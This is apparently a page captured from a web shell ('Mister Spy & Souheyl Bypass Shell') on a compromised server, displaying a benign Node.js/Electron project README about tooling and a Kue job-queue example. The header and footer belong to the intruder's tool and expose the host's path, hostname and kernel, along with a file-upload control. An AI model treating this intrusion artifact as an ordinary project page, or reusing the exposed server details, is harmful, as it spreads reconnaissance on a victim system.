Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/50_dev2017/1313__procpyjs/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/50_dev2017/1313__procpyjs/README.md

procpy-Reloaded
====

##Development

###Coding / Styleguide -- Editor support

In order to prevent the source tree cluttered with different coding styles, there
must be some tooling under the hood, doing automatic source-code transformation/checking.

When developing Javascript/Node.js code the following tools must be activated/executed:

1. Automatic/manual code analysis (tern)
2. Automatic beautification on save (js-beautify)
3. Detect errors and potential problems (jshint)
4. post-commit hook JS code style checking/fixing (jscs)
5. Mocha testing (see test/*.js)

**The tooling listed above must be executed before pushing into some branch.**

Your best option fulfill this is to simply run:

```
$ grunt watch
```

This will discover changes on app relevant file and execute the above listed
tasks automatically, without any interventions from your side.

#### Installation
```
$ npm install
```

#### Run
```
$ npm start
```

#### Build
```
$ npm run build
```

## Documentation

Currently there are two formats in use:
1. Markdown
2. ReSpec

While the first is used for meeting-minutes and readme-like documents the latter is used
for more elaborated documentation. Please have in mind, when open one of the .html files
under doc/app, to wait a few seconds, since all the stylesheets must be downloaded
and some source-transformation must be done under the hood, before you can see the
document in its final state.

##Current Software Stack

###Electron (io.js v1.6.3)
Electron enables you to create desktop applications with pure JavaScript by providing
a runtime with rich native APIs. You could see it as a variant of the io.js runtime
which is focused on desktop applications instead of web servers.
It doesn't mean Electron is a JavaScript binding to GUI libraries.
Instead, Electron uses web pages as its GUI, so you could also see it as a minimal
Chromium browser, controlled by JavaScript.

####Redis & Kue
Kue is a node.js module for creating a job queue and processing jobs in
the background. Kue is backed by Redis.

**Example:**
```javascript
    var kue = require('kue'),
        jobs = kue.createQueue();

    function newJob(name) {
        name = name || 'Default_Name';
        var job = jobs.create('new job', {
            name: name
        });

        job
            .on('complete', function() {
                console.log('Job :', job.id, ' with name ',
                    job.data.name, ' is done');
            })
            .on('failed', function() {
                console.log('Job :', job.id, ' with name ',
                    job.data.name, ' has failed');
                });
        job.save();
    }

    jobs.process('new job', function(job, done) {
        //carry out all the jub function here
        done && done();
    });

    setInterval(function () {
        newJob('Send_Email');
    }, 3000);
```
####Graphml.js
A javascript library to render .graphml files inside a browser renderer.

####Ws
Ws is a simple to use WebSocket implementation, up-to-date against RFC-6455

The idea is, that a job-runner is signalling through a web-socket the current
state, so we can update the view (e.g. change node color of current running process).

This approach slightly collides with the *ipc* module and needs to be
evaluated further.

####Mocha

Mocha is a feature-rich JavaScript test framework running on node.js and the browser,
making asynchronous testing simple and fun. Mocha tests run serially, allowing for
flexible and accurate reporting, while mapping uncaught exceptions to the correct
test cases.

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net